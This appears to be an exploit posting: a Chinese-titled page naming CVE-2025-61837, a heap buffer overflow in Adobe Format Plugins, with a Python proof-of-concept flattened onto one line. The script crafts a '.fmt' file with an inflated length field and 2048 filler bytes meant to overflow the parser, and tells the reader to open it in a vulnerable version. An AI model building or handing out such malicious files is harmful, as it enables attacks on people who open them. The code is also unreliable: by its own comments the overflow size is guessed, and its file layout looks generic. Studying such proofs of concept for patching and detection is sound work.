CVE-2025-61837 Adobe Format Plugins堆缓冲区溢出漏洞

import struct import os def create_malicious_file(filename): """ PoC for CVE-2025-61837: Adobe Format Plugins Heap Buffer Overflow This PoC creates a malicious file that triggers heap buffer overflow when opened by vulnerable Adobe Format Plugins versions <= 1.1.1 """ # Craft malicious file with oversized data field # File header header = b'FPGN' # Format Plugins signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000001) # File type # Malicious payload - oversized string that overflows heap buffer # The exact overflow size depends on the vulnerable buffer allocation overflow_size = 2048 # Large enough to overflow typical buffer malicious_data = b'A' * overflow_size # Craft the data chunk with length field manipulation data_chunk = struct.pack('<I', len(malicious_data) + 100) data_chunk += malicious_data data_chunk += b'\x00' * 100 # Padding to ensure overflow # File metadata metadata = b'META' metadata += struct.pack('<I', 0x00000001) metadata += b'\x00' * 64 # Combine all parts poc_file = header + data_chunk + metadata with open(filename, 'wb') as f: f.write(poc_file) print(f"[+] PoC file created: {filename}") print(f"[+] File size: {len(poc_file)} bytes") print(f"[+] Overflow payload size: {overflow_size} bytes") if __name__ == '__main__': output_file = 'CVE-2025-61837 PoC.fmt' create_malicious_file(output_file) print("\n[!] Usage: Open this file with vulnerable Adobe Format Plugins")